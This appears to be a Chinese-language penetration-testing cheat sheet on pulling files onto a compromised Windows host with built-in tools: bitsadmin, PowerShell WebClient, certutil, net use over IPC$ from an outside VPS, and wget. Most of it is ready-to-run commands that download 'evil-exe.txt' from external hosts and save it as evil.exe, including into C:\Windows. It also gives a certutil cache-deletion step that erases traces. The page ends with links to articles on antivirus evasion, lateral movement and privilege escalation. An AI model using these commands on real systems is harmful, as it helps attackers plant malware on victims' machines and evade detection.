使用方法: bitsadmin /transfer n '下载地址' '保存地址'例子-下载在某个地方 bitsadmin /transfer n http://baidu.com/evil-exe.txt C:\Users\miao\Desktop\evil.exe 
下载完毕以后 C:\Users\miao\Desktop\ 就会出现个 evil.exe

使用方法: powershell (new-object System.Net.WebClient).DownloadFile('下载地址',['保存地址'])

例子-下载在某个地方: powershell (new-object System.Net.WebClient).DownloadFile('http://test.com/evil-exe.txt','C:\evil.exe') 

下载完毕以后 C盘 根目录就会出现个 evil.exe

例子-下载在当前路径: 
powershell (new-object System.Net.WebClient).DownloadFile('http://test.com/evil-exe.txt','evil.exe') 
下载完毕以后, 当前程序执行的路径在哪里文件就会保存在哪里 
例如现在程序执行的路径是 C:\Users\ 那么下载的文件就会保存在 C:\Users\ 这个目录下面

缓存目录地址: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

使用方法: 
下载文件: certutil -urlcache -split -f '下载地址' ['保存地址'] 删除缓存: certutil -urlcache -split -f '下载地址' delete

例子-下载在当前路径: 
下载文件: certutil -urlcache -split -f http://test.com/evil-exe.txt evil.exe 删除缓存: certutil -urlcache -split -f http://test.com/evil-exe.txt delete

例子-下载在某个地方: 下载文件: certutil -urlcache -split -f http://test.com/evil-exe.txt C:\Users\evil.exe 删除缓存: certutil -urlcache -split -f http://test.com/evil-exe.txt delete

使用方法: # 建立远程IPC连接 net use \\'vps-ip'\ipc$ /user:'账号' '密码' 
# 复制远程文件到本地主机 copy \\'vps-ip'\'盘符'$\'下载地址' '保存地址'

windows-vps-环境 ip:220.181.38.***账号:administrator 密码:****
现在这台vps的C:\Users\有个user.txt内容为test

例子-通过外网vps下载文件在本机当前路径 
# 建立远程IPC连接 net use \\220.181.38.***\ipc$ /user:administrator **** 
# 复制远程文件到本地主机 # 复制远程vps主机的文件到本机的当前路径下,执行成功以后,本机的当前路径就会出现一个test.txt文件 # 例如本机当前路径为:C:\Users\Administrator\Desktop  # 那么执行完下面这个命令以后就会在这个路径生成一个test.txt文件 
copy \\220.181.38.***\c$\Users\test.txt

例子-通过外网vps下载文件在本机某个目录下 
# 建立远程IPC连接 net use \\220.181.38.***\ipc$ /user:administrator ****

# 复制远程文件到本地主机 # 复制远程vps主机的文件到本机的C:\Windows\目录文件名叫test.exe copy \\220.181.38.***\c$\Users\test.txt C:\Windows\test.exe

wget这个有点骚，很多情况下需要我们自己上传个exe，不是很符合本文章，所以要看情况使用 windows2006会自带wget命令, 所以如果是windows2006那就不用上传wget.exe文件 
直接使用 wget -O '保存地址' '下载地址' 下载文件 即可

使用方法: wget-64.exe -O '保存地址' '下载地址'

例子-下载在当前路径: wget-64.exe -O "evil.exe" http://test.com/evil-exe.txt

例子-下载在某个地方: wget-64.exe wget -O "C:\Users\evil.exe" http://baidu.com/evil-exe.txt

 热文推荐  

• 蓝队应急响应姿势之Linux
  
• 通过DNSLOG回显验证漏洞
  
• 记一次服务器被种挖矿溯源
  
• 内网渗透初探 | 小白简单学习内网渗透
  
• 实战|通过恶意 pdf 执行 xss 漏洞
  
• 免杀技术有一套（免杀方法大集结）(Anti-AntiVirus)
  
• 内网渗透之内网信息查看常用命令
  
• 关于漏洞的基础知识
  
• 任意账号密码重置的6种方法
  
• 干货 | 横向移动与域控权限维持方法总汇
  
• 手把手教你Linux提权